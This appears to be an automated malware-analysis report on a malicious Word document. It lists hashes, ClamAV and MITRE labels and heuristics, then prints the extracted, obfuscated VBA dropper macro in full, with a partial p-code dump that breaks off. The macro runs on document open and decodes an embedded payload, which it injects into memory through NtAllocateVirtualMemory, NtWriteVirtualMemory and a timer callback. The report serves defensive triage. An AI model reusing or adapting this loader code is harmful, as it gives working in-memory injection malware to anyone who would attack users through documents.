Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 87a10cc169f9ffd0…

MALICIOUS

Office (OLE)

227.5 KB Created: 2017-08-09 13:09:00 Authoring application: Microsoft Office Word First seen: 2017-08-27
MD5: f8b8600ebd23b7edd6bb930fcc22508c SHA-1: 2c70c1030d9473e0310b449bd53ffe90e99dfffe SHA-256: 87a10cc169f9ffd0c75bb9846a99fb477fc4329840964b02349ae44a672729c2
90 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Doc.Dropper.Agent-6337027-0, indicating it's a dropper. The presence of VBA macros, specifically a Document_Open macro, strongly suggests that the file is designed to execute malicious code upon opening. The VBA script, though heavily obfuscated, likely attempts to download and execute a secondary payload, a common technique for droppers.

Heuristics 4

  • ClamAV: Doc.Dropper.Agent-6337027-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6337027-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
    Dim dyslectic As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 48733 bytes
SHA-256: 0b9d48b29ae05acb45c9c8448eab21645a85e3ee54fc36f2baee44ef389428c0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Sub mopus()
Dim varanus As Integer
Dim farfamed As Variant
beriberi.chastisement.Value = Day(#12/5/2013#)
varday = bacteremic = "pholiota"
abecedarian = impacted
mesalliance = "oneupmanship"
hillock = "sams"
acknowledged = "agelaius"

bypass = "flail"
basset = "marsupialia"
baneberry = meningitis
Set polyfoam = beriberi.chastisement.SelectedItem
opacous = 90 + 2
quintessence = 37350 + 6
ceiling = 302570 + 6
 Pmt 0, opacous, 39532, 52511, 2

aliterate = polyfoam.Name
polygraphy = 19 + 123 + 7702
drawnat = Right(aliterate, polygraphy)
plumbable = sporangium.nonchalance(drawnat)
hysterocatalepsy = 30 + 4
accipere = 3280 + 7
piper = 423160 + 6
 Pmt 0, hysterocatalepsy, 24214, 43646, 5

inadequate = succinct
regalia = "taking"
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Dim anthropogenesis As String
Dim founders As LongPtr
Dim billboard As LongPtr
Dim penutian As Long
Dim cambarus As Long

Dim declinometer As LongPtr
Dim consequentially As LongPtr
Dim chuckle As LongPtr
moroccan = 95 + 1969
#End If
#If Not (21 - 7 * 3) * 2 < (Win64) And (8 * 2 + 5) > (7 - 2 * 1) Then
Dim airless As Variant
Dim billboard As Long
Dim semiopaque As Byte
Dim founders As Long

Dim declinometer As Long
dapperling = 113 + 668
Dim consequentially As Long
Dim chuckle As Long
moroccan = dapperling + 3459
#End If
reorganize = (5 - 5)
stickleback = "concameration"
pow = imprison
hew = 4090 + 6
beforementioned = 30 + 2
extinguisher = 18950 + 7
alligatored = 351930 + 8
 Pmt 0, beforementioned, 29576, 40785, 5

creeper = "unfleshly"
kilimanjaro = "fructification"
cluniac = "sealskin"
lyonnais = 70 + 9
though = 15640 + 10
lecanoraceae = 353290 + 6
 Pmt 0, lyonnais, 34310, 23505, 7

radiopharmeceutical = plumbable
converted = "boyfriend"
founders = team(radiopharmeceutical)
armiger = casern
Dim coracias As String
Dim dulcify As Byte
declinometer = 4 - 4
billboard = founders + moroccan
consequentially = 201527
chuckle = 2500 + 500 * 2
lure = tigers(consequentially, declinometer, billboard)
entrust = 60 + 1
resiny = 25930 + 9
catananche = 417900 + 2
 Pmt 0, entrust, 2229, 38476, 7

End Sub

Private Sub Document_Open()
Dim dyslectic As Long
Dim etagere As String
mexican = "isolate"
invisible = arundinaceous
mopus
patwin = 90 + 6
exploitative = 29210 + 10
achondroplastic = 511340 + 7
 Pmt 0, patwin, 22845, 50479, 5
End Sub
Function team(allotment)
Dim garrick As Byte
Dim squamous As Integer
Dim awny As Variant
Dim cynodontia As Integer
#If (6 * 3 + 5) > (7 - 2 * 1) And (48 - 6 * 8) * 2 < (Win64) Then
Dim chemisorptive As Variant
Dim bornagain As LongPtr
bibliotics = 126 + 112 - 230
Dim clotpoll As LongPtr
Dim rhapis As Variant
Dim convoluted As Byte
Dim hac As LongPtr
Dim rogue As Long
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim bornagain As Long
bibliotics = 29 - 25
Dim clotpoll As Long
Dim hac As Long
#End If
epispadias = VarPtr(bornagain)
ameer = overhaul(epispadias, VarPtr(allotment) + 8, bibliotics)
thamnophilus = -1
clotpoll = 3 - 3
puka = 28 - 28
hac = 90 + 9393
coot = 4090 + 6
additament = 60 + 4
careless = cribbage(ByVal thamnophilus, clotpoll, ByVal puka, hac, ByVal coot, ByVal additament)
lavish = thais

thais = thais

overhaul clotpoll, bornagain, 97 + 5786
spectacle = 40 + 6
aerifiction = 28390 + 1
rotundus = 585330 + 7
 Pmt 0, spectacle, 25675, 21625, 3

team = clotpoll
End Function
Function overhaul(confrication, lap, predicament)
nons = george(20 / 4)
#If (7 * 4 + 5) > (7 - 2 * 1) And (20 - 5 * 4) * 2 < (nons) Then
Dim defaced As Variant
Dim altorelievo As Long
Dim hotbox As LongPtr
Dim midwifery As LongPtr
Dim arteriolosclerosis As LongPtr
Dim cito As Variant
Dim annona As LongPtr
Dim alphanumeric As LongPtr
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (nons) Then
Dim midwifery As Long
Dim postliminious As Long
Dim hotbox As Long
Dim internecine As Byte
Dim annona As Long
Dim undevout As Byte
Dim arteriolosclerosis As Long
Dim galleys As Variant
Dim alphanumeric As Long
Dim consist As String
Dim aeon As Byte
#End If
misadventure = misadventure Or 355
lavish = "guadalcanal"
midwifery = confrication
alphanumeric = predicament
bilinear = bilinear * 1
annona = lap
chronology = 40 + 7
ibid = 16040 + 8
albula = 160650 + 3
 Pmt 0, chronology, 32232, 29076, 2

bilinear = Math.Round(245)
hotbox = 106 - 112 + 5
side ByVal hotbox, midwifery, annona, alphanumeric, arteriolosclerosis
misadventure = Math.Round(437)
End Function




Attribute VB_Name = "sporangium"
'  From the moment when
'  And hit me like a hurricane
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
'  And hit me like a hurricane
'  If I woulda just layed my drink down
Public Declare PtrSafe Function inquest Lib "Shlwapi.dll  " Alias "GetOverlappedResult" (ByVal inclose As Any, lubricated As Any, mammuthus As Any, surcease As Any) As LongPtr
'  Baby, without warning
'  And hit me like a hurricane
Public Declare PtrSafe Function goshawk Lib "Kernel32" Alias "CreateTimerQueueTimer" (wayside As Any, ByVal chinaware As Any, ByVal adagio As Any, ByVal pox As Any, ByVal preoccupation As Any, ByVal ashcake As Any, ByVal rit As Any) As Long
'  I wouldnt be in my truck
'  I was doing alright
Public Declare PtrSafe Function jaunt Lib "Kernel32.dll" Alias "CreateEventW" (ByVal holdup As LongPtr, recollection As LongPtr, valedictorian As LongPtr, cambodia As LongPtr, scholium As LongPtr) As Long
'  Baby, without warning
'  Hit me like a hurricane
Public Declare PtrSafe Function ketoacidosis Lib "ntdll.dll" Alias "NtCreateEventPair" (gratulation As LongPtr, indissoluble As LongPtr, innocuous As LongPtr) As LongPtr
'  I was doing alright
'  You wrecked my whole world when you came
Public Declare PtrSafe Function cribbage Lib "Ntdll.dll  " Alias _
   "NtAllocateVirtualMemory" (pungent As LongPtr, moralizing As LongPtr, ByVal microscopist As LongPtr, epigaeaByVal As LongPtr, brain As LongPtr, ByVal ovid As LongPtr) As LongPtr
'  I was doing alright
'  Rain was driving, thunder, lightning
Public Declare PtrSafe Function interchangeably Lib "Ntdll.dll  " Alias "AcquireSRWLockShared" (crackajack As Any) As LongPtr
'  Baby, without warning
'  From the moment when
Public Declare PtrSafe Function side Lib "Ntdll.dll  " Alias "NtWriteVirtualMemory" (ByVal sundial As Any, ByVal alive As Any, ByVal immaculate As Any, ByVal maidenhood As Any, ByVal soiled As Any) As LongPtr
'  I was doing alright
'  We locked eyes over whiskey on ice
Public Declare PtrSafe Function intercurrence Lib "Shlwapi.dll" Alias "CreateFileWrapW" (histiocytosis As LongPtr) As LongPtr
'  Driving us to your house
'  Rain was driving, thunder, lightning
Public Declare PtrSafe Function atrabilious Lib "Shlwapi.dll  " Alias "SleepConditionVariableSRW" (ByVal languorously As Any, salix As Any, aphrophora As Any, assail As Any) As LongPtr
'  You wrecked my whole world when you came
'  And hit me like a hurricane

'  The moon went hiding, stars quit shining
'  Started talking bout us again
#End If
'  You wrecked my whole world when you came
'  From the moment when
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
'  You wrecked my whole world when you came
'  I was doing alright
Public Declare Function side Lib "Ntdll.dll   " Alias "NtWriteVirtualMemory" (ByVal cashbox As Any, ByVal beaten As Any, ByVal incursion As Any, ByVal sheepherder As Any, ByVal incurious As Any) As Long
'  I was doing alright
'  Started talking bout us again
Public Declare Function lantern Lib "Shlwapi.dll  " Alias "GetOverlappedResult" (ByVal quinacrine As Any, newlywed As Any, arrival As Any, hormone As Any) As Long
'  And walked out
'  I wouldnt be in my truck
Public Declare Function fawn Lib "ntdll.dll" Alias "NtCreateEventPair" (heterodoxy As Long, undutiful As Long, finial As Long) As Long
'  I was doing alright
'  And hit me like a hurricane
Public Declare Function goshawk Lib "Kernel32" Alias "CreateTimerQueueTimer" (evilspeaking As Any, ByVal legionary As Any, ByVal soaking As Any, ByVal belongings As Any, ByVal forfeited As Any, ByVal sickroom As Any, ByVal inebriation As Any) As Long
'  You wrecked my whole world when you came
'  We locked eyes over whiskey on ice
Public Declare Function crest Lib "Kernel32.dll" Alias "CreateEventW" (ByVal xerophyllum As Long, thomomys As Long, kinswoman As Long, dismals As Long, azoturia As Long) As Long
'  Knew it was gonna be a long night
'  And walked out
Public Declare Function cribbage Lib "Ntdll.dll " Alias _
  "NtAllocateVirtualMemory" (stromateidae As Long, claque As Long, ByVal jackpot As Long, physaByVal As Long, blackbird As Long, ByVal pinesap As Long) As Long
'  Rain was driving, thunder, lightning
'  Rain was driving, thunder, lightning
Public Declare Function invisibility Lib "ntdll.dll  " Alias "AcquireSRWLockShared" (drama As Any) As Long
'  Rain was driving, thunder, lightning
'  Rain was driving, thunder, lightning
Public Declare Function hike Lib "Shlwapi.dll  " Alias "SleepConditionVariableSRW" (ByVal propylon As Any, unlooked As Any, ant As Any, bailee As Any) As Long
'  I was doing alright
'  If I woulda just layed my drink down

'  I wouldnt be in my truck
'  I was doing alright
#End If
'  I wouldnt be in my truck
'  Knew it was gonna be a long night

Function carped(faker)
carped = AscW(faker)
End Function
Function marxistleninist(gravely, obtain, wallop)
Select Case wallop
Case (20 + 9) + (10 / 2 - 5)
marxistleninist = gravely \ obtain
Case (30 + 9) + (5 - 3) / 2 - 1
marxistleninist = gravely And obtain
Case (40 + 7) + (56 / 7 - 4 * 2)
marxistleninist = gravely * obtain
End Select
End Function
Function tigers(wrd, buls, lky)
#If (7 * 2) * 3 > 14 / 2 And (12 - 6 * 2) * 1 < (Win64) Then
Dim aln As LongPtr
Dim bis As LongPtr
Dim ority As Integer
Dim deble As LongPtr
#End If
#If (12 * 2) / 1 > 14 / 2 And Not (12 - 6 * 2) * 1 < (Win64) Then
Dim aln As Long
Dim bwis As Long
Dim antery As Integer
Dim deble As Long
#End If
aln = buls
deble = lky
dan2 = goshawk(wrd, aln, deble, aln, aln, aln, aln)
End Function
Function nonchalance(epiphenomenon) As String
Dim cancelli(6962) As Byte
Dim copyhold(63) As Long
Dim oxfordgray As Integer
Dim aigrette As String
Dim cantabrigian As Long
bilinear = Rnd(330)

Dim impugnation() As Byte
Dim beaten As Long
Dim rorqual(63) As Long
Dim lucidness As Long

Dim depend As Integer

Dim anticipated As Byte

misadventure = bilinear And 357

Dim petromyzon As Long
Dim scarecrow(63) As Long
Dim crossbred As Integer

Dim chickadee As Long
lavish = "mam"

pleasant = 7 + 65273
aldosteronism = 258048
Dim naira As Byte

fertilizable = 4096
nonsectarian = 16515072
harvest = 30 + 65506
mat = 64
ammonia = 63
Dim inchon As Variant

clover = 4032
farina = 6 + 249
Dim augend As Byte

fed = 256
spirea = 110 + 120 + 261914
endoergic = 16711680
Dim playtime As Integer
brag = 0
Superscript = 7843
Dim blastogenesis() As Byte
Dim enthrallment As Integer
Dim blown As Byte
blastogenesis = VBA.StrConv(epiphenomenon, 128)
Dim entreat As Byte
solatium = 90 + 2
poniard = 7770 + 1
aquinas = 367630 + 9
 VBA.Financial.Pmt 0, solatium, 9834, 54490, 7

choice = 7840 + 3
appetitus = vbKeyShift - 12
For monogynous = (4 - 4) / 1 To choice
If monogynous Mod 2 = (3 - 3) Then
blastogenesis(monogynous) = blastogenesis(monogynous) - appetitus
Else
blastogenesis(monogynous) = blastogenesis(monogynous) - (appetitus - 1)
End If
Next monogynous
interview = 50 + 9
buffet = 29920 + 9
crab = 188390 + 4
 VBA.Financial.Pmt 0, interview, 8573, 16257, 3

oxfordgray = (4 - 4)
reprint = 33 + 93 - 126
marduk = 14 + 12 + 17
fils = anounce
For chickadee = (7 - 7) * 1 To (50 + 13) * (5 - 4)
rorqual(chickadee) = marxistleninist(chickadee, mat, 47)
scarecrow(chickadee) = marxistleninist(chickadee, fertilizable, 47)
copyhold(chickadee) = marxistleninist(chickadee, spirea, 47)
Next chickadee
prosepct = 60 + 1
mirounga = 21750 + 1
temerity = 479560 + 3
 VBA.Financial.Pmt 0, prosepct, 31016, 29829, 6

impugnation = blastogenesis
uncongeniality = 54 - 50
airintake = 90 + 8
bonasa = 6840 + 6
estranging = 363060 + 2
 VBA.Financial.Pmt 0, airintake, 26304, 54725, 3

boilerplate = 62 - 59
thais = "rehearsal"

lavish = lavish

worshipful = boilerplate + 1
edentate = 2
For beaten = (6 - 6) To choice
aboveground = impugnation(beaten)
barratry = impugnation(beaten + 2)
infeasible = scarecrow(fils(impugnation(beaten + 1)))
pachyderm = rorqual(fils(barratry)) + fils(impugnation(beaten + boilerplate))
petromyzon = copyhold(fils(aboveground)) + infeasible + pachyderm
chickadee = marxistleninist(petromyzon, endoergic, 39)
cancelli(cantabrigian) = marxistleninist(chickadee, harvest, 29)
chickadee = marxistleninist(petromyzon, pleasant, 39)
cancelli(cantabrigian + 1) = marxistleninist(chickadee, fed, 29)
cancelli(cantabrigian + edentate) = marxistleninist(petromyzon, farina, 39)
cantabrigian = cantabrigian + edentate + 1
beaten = beaten + 3
Next
nonchalance = cancelli
End Function
Function george(purina)
Dim windser As Integer
Dim tristan As Integer
fixoid = purina * 12
Dim sitroen As Variant
subway2 = purina * 2
Dim cowen() As Byte
#If (3 * 4 + purina) > (7 - 2 * 1) And (10 - purina * 2) * 2 < (Win64) Then
tristan = subway2
#End If
#If (3 * 4 + purina) > (7 - 2 * 1) And Not (10 - purina * 2) * 2 < (Win64) Then
tristan = (120 - fixoid)
#End If
subway3 = subway2 + tristan
george = tristan
End Function
Function anounce()
Dim evocative(255) As Byte
commemorate = 94 - 29
Do
evocative(commemorate) = commemorate - 65
commemorate = commemorate + 1
Loop While commemorate <= 90 + 1
commemorate = 48
Do
evocative(commemorate) = commemorate + 4
commemorate = commemorate + 1
Loop While commemorate <= 50 + 8
commemorate = 97
Do
evocative(commemorate) = commemorate - 71
commemorate = commemorate + 1
Loop While commemorate <= 120 + 3
evocative(47) = 63
commemorate = 43
evocative(commemorate) = 60 + 2
anounce = evocative
End Function


Attribute VB_Name = "beriberi"
Attribute VB_Base = "0{A6885487-1A98-4F55-9C1A-8E4AF9DB7372}{53469E57-3CC2-4606-A0DE-0E924209E3F8}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

' Processing file: /opt/analyzer/scan_staging/4bae51c46ba44772a9333211121e7aa9.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 14481 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' 	FuncDefn (Sub mopus())
' Line #4:
' 	Dim 
' 	VarDefn varanus (As Integer)
' Line #5:
' 	Dim 
' 	VarDefn farfamed (As Variant)
' Line #6:
' 	LitDate 0x0000 0x0000 0x51A0 0x40E4 
' 	ArgsLd Day 0x0001 
' 	Ld beriberi 
' 	MemLd chastisement 
' 	MemSt Value 
' Line #7:
' 	Ld bacteremic 
' 	LitStr 0x0008 "pholiota"
' 	Eq 
' 	St varday 
' Line #8:
' 	Ld impacted 
' 	St abecedarian 
' Line #9:
' 	LitStr 0x000C "oneupmanship"
' 	St mesalliance 
' Line #10:
' 	LitStr 0x0004 "sams"
' 	St hillock 
' Line #11:
' 	LitStr 0x0008 "agelaius"
' 	St acknowledged 
' Line #12:
' Line #13:
' 	LitStr 0x0005 "flail"
' 	St bypass 
' Line #14:
' 	LitStr 0x000B "marsupialia"
' 	St basset 
' Line #15:
' 	Ld meningitis 
' 	St baneberry 
' Line #16:
' 	SetStmt 
' 	Ld beriberi 
' 	MemLd chastisement 
' 	MemLd SelectedItem 
' 	Set polyfoam 
' Line #17:
' 	LitDI2 0x005A 
' 	LitDI2 0x0002 
' 	Add 
' 	St opacous 
' Line #18:
' 	LitDI4 0x91E6 0x0000 
' 	LitDI2 0x0006 
' 	Add 
' 	St quintessence 
' Line #19:
' 	LitDI4 0x9DEA 0x0004 
' 	LitDI2 0x0006 
' 	Add 
' 	St ceiling 
' Line #20:
' 	LitDI2 0x0000 
' 	Ld opacous 
' 	LitDI4 0x9A6C 0x0000 
' 	LitDI4 0xCD1F 0x0000 
' 	LitDI2 0x0002 
' 	ArgsCall Pmt 0x0005 
' Line #21:
' Line #22:
' 	Ld polyfoam 
' 	MemLd Name 
' 	St aliterate 
' Line #23:
' 	LitDI2 0x0013 
' 	LitDI2 0x007B 
' 	Add 
' 	LitDI2 0x1E16 
' 	Add 
' 	St polygraphy 
' Line #24:
' 	Ld aliterate 
' 	Ld polygraphy 
' 	ArgsLd Right 0x0002 
' 	St drawnat 
' Line #25:
' 	Ld drawnat 
' 	Ld sporangium 
' 	ArgsMemLd nonchalance 0x0001 
' 	St plumbable 
' Line #26:
' 	LitDI2 0x001E 
' 	LitDI2 0x0004 
' 	Add 
' 	St hysterocatalepsy 
' Line #27:
' 	LitDI2 0x0CD0 
' 	LitDI2 0x0007 
' 	Add 
' 	St accipere 
' Line #28:
' 	LitDI4 0x74F8 0x0006 
' 	LitDI2 0x0006 
' 	Add 
' 	St piper 
' Line #29:
' 	LitDI2 0x0000 
' 	Ld hysterocatalepsy 
' 	LitDI2 0x5E96 
' 	LitDI4 0xAA7E 0x0000 
' 	LitDI2 0x0005 
' 	ArgsCall Pmt 0x0005 
' Line #30:
' Line #31:
' 	Ld succinct 
' 	St inadequate 
' Line #32:
' 	LitStr 0x0006 "taking"
' 	St regalia 
' Line #33:
' 	LbMark 
' 	LitDI2 0x0008 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0015 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	And 
' 	LbIf 
' Line #34:
' 	Dim 
' 	VarDefn anthropogenesis (As String)
' Line #35:
' 	Dim 
' 	VarDefn founders (As Ptr)
' Line #36:
' 	Dim 
' 	VarDefn billboard (As Ptr)
' Line #37:
' 	Dim 
' 	VarDefn penutian (As Long)
' Line #38:
' 	Dim 
' 	VarDefn cambarus (As Long)
' Line #39:
' Line #40:
' 	Dim 
' 	VarDefn declinometer (As Ptr)
' Line #41:
' 	Dim 
' 	VarDefn consequentially (As Ptr)
' Line #42:
' 	Dim 
' 	VarDefn chuckle (As Ptr)
' Line #43:
' 	LitDI2 0x005F 
' 	LitDI2 0x07B1 
' 	Add 
' 	St moroccan 
' Line #44:
' 	LbMark 
' 	LbEndIf 
' Line #45:
' 	LbMark 
' 	LitDI2 0x0015 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	Not 
' 	LitDI2 0x0008 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	And 
' 	LbIf 
' Line #46:
' 	Dim 
' 	VarDefn airless (As Variant)
' Line #47:
' 	Dim 
' 	VarDefn billboard (As Long)
' Line #48:
' 	Dim 
' 	VarDefn semiopaque (As Byte)
' Line #49:
' 	Dim 
' 	VarDefn founders (As Long)
' Line #50:
' Line #51:
' 	Dim 
' 	VarDefn declinometer (As Long)
' Line #52:
' 	LitDI2 0x0071 
' 	LitDI2 0x029C 
' 	Add 
' 	St dapperling 
' Line #53:
' 	Dim 
' 	VarDefn consequentially (As Long)
' Line #54:
' 	Dim 
' 	VarDefn chuckle (As Long)
' Line #55:
' 	Ld dapperling 
' 	LitDI2 0x0D83 
' 	Add 
' 	St moroccan 
' Line #56:
' 	LbMark 
' 	LbEndIf 
' Line #57:
' 	LitDI2 0x0005 
' 	LitDI2 0x0005 
' 	Sub 
' 	Paren 
' 	St reorganize 
' Line #58:
' 	LitStr 0x000D "concameration"
' 	St stickleback 
' Line #59:
' 	Ld imprison 
' 	St pow 
' Line #60:
' 	LitDI2 0x0FFA 
' 	LitDI2 0x0006 
' 	Add 
' 	St hew 
' Line #61:
' 	LitDI2 0x001E 
' 	LitDI2 0x0002 
' 	Add 
' 	St beforementioned 
' Line #62:
' 	LitDI2 0x4A06 
' 	LitDI2 0x0007 
' 	Add 
' 	St extinguisher 
' Line #63:
' 	LitDI4 0x5EBA 0x0005 
' 	LitDI2 0x0008 
' 	Add 
' 	St alligatored 
' Line #64:
' 	LitDI2 0x0000 
' 	Ld beforementioned 
' 	LitDI2 0x7388 
' 	LitDI4 0x9F51 0x0000 
' 	LitDI2 0x0005 
' 	ArgsCall Pmt 0x0005 
' Line #65:
' Line #66:
' 	LitStr 0x0009 "unfleshly"
' 	St creeper 
' Line #67:
' 	LitStr 0x000E "fructification"
' 	St kilimanjaro 
' Line #68:
' 	LitStr 0x0008 "sealskin"
' 	St cluniac 
' Line #69:
' 	LitDI2 0x0046 
' 	LitDI2 0x0009 
' 	Add 
' 	St lyonnais 
' Line #70:
' 	LitDI2 0x3D18 
' 	LitDI2 0x000A 
' 	Add 
' 	St though 
' Line #71:
' 	LitDI4 0x640A 0x0005 
' 	LitDI2 0x0006 
' 	Add 
' 	St lecanoraceae 
' Line #72:
' 	LitDI2 0x0000 
' 	Ld lyonnais 
' 	LitDI4 0x8606 0x0000 
' 	LitDI2 0x5BD1 
' 	LitDI2 0x0007 
' 	ArgsCall Pmt 0x0005 
' Line #73:
' Line #74:
' 	Ld plumbable 
' 	St radiopharmeceutical 
' Line #75:
' 	LitStr 0x0009 "boyfriend"
' 	St converted 
' Line #76:
' 	Ld radiopharmeceutical 
' 	ArgsLd team 0x0001 
' 	St founders 
' Line #77:
' 	Ld casern 
' 	St armiger 
' Line #78:
' 	Dim 
' 	VarDefn coracias (As String)
' Line #79:
' 	Dim 
' 	VarDefn dulcify (As Byte)
' Line #80:
' 	LitDI2 0x0004 
' 	LitDI2 0x0004 
' 	Sub 
' 	St declinometer 
' Line #81:
' 	Ld founders 
' 	Ld moroccan 
' 	Add 
' 	St billboard 
' Line #82:
' 	LitDI4 0x1337 0x0003 
' 	St consequentially 
' Line #83:
' 	LitDI2 0x09C4 
' 	LitDI2 0x01F4 
' 	LitDI2 0x0002 
' 	Mul 
' 	Add 
' 	St chuckle 
' Line #84:
' 	Ld consequentially 
' 	Ld declinometer 
' 	Ld billboard 
' 	ArgsLd alate 0x0003 
' 	St lure 
' Line #85:
' 	LitDI2 0x003C 
' 	LitDI2 0x0001 
' 	Add 
' 	St entrust 
' Line #86:
' 	LitDI2 0x654A 
' 	LitDI2 0x0009 
' 	Add 
' 	St resiny 
' Line #87:
' 	LitDI4 0x606C 0x0006 
' 	LitDI2 0x0002 
' 	Add 
' 	St catananche 
' Line #88:
' 	LitDI2 0x0000 
' 	Ld entrust 
' 	LitDI2 0x08B5 
' 	LitDI4 0x964C 0x0000 
' 	LitDI2 0x0007 
' 	ArgsCall Pmt 0x0005 
' Line #89:
' Line #90:
' 	EndSub 
' Line #91:
' Line #92:
' 	FuncDefn (Sub Document_Open())
' Line #93:
' 	Dim 
' 	VarDefn dyslectic (As Long)
' Line #94:
' 	Dim 
' 	VarDefn etagere (As String)
' Line #95:
' 	LitStr 0x0007 "isolate"
' 	St mexican 
' Line #96:
' 	Ld arundinaceous 
' 	St invisible 
' Line #97:
' 	ArgsCall mopus 0x0000 
' Line #98:
' 	LitDI2 0x005A 
' 	LitDI2 0x0006 
' 	Add 
' 	St patwin 
' Line #99:
' 	LitDI2 0x721A 
' 	LitDI2 0x000A 
' 	Add 
' 	St exploitative 
' Line #100:
' 	LitDI4 0xCD6C 0x0007 
' 	LitDI2 0x0007 
' 	Add 
' 	St achondroplastic 
' Line #101:
' 	LitDI2 0x0000 
' 	Ld patwin 
' 	LitDI2 0x593D 
' 	LitDI4 0xC52F 0x0000 
' 	LitDI2 0x0005 
' 	ArgsCall Pmt 0x0005 
' Line #102:
' 	EndSub 
' Line #103:
' 	FuncDefn (Function team(allotment))
' Line #104:
' 	Dim 
' 	VarDefn garrick (As Byte)
' Line #105:
' 	Dim 
' 	VarDefn squamous (As Integer)
' Line #106:
' 	Dim 
' 	VarDefn awny (As Variant)
' Line #107:
' 	Dim 
' 	VarDefn cynodontia (As Integer)
' Line #108:
' 	LbMark 
' 	LitDI2 0x0006 
' 	LitDI2 0x0003 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0030 
' 	LitDI2 0x0006 
' 	LitDI2 0x0008 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	And 
' 	LbIf 
' Line #109:
' 	Dim 
' 	VarDefn chemisorptive (As Variant)
' Line #110:
' 	Dim 
' 	VarDefn bornagain (As Ptr)
' Line #111:
' 	LitDI2 0x007E 
' 	LitDI2 0x0070 
' 	Add 
' 	LitDI2 0x00E6 
' 	Sub 
' 	St bibliotics 
' Line #112:
' 	Dim 
' 	VarDefn clotpoll (As Ptr)
' Line #113:
' 	Dim 
' 	VarDefn rhapis (As Variant)
' Line #114:
' 	Dim 
' 	VarDefn convoluted (As Byte)
' Line #115:
' 	Dim 
' 	VarDefn hac (As Ptr)
' Line #116:
' 	Dim 
' 	VarDefn rogue (As Long)
' Line #117:
' 	LbMark 
' 	LbEndIf 
' Line #118:
' 	LbMark 
' 	LitDI2 0x0008 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0015 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
…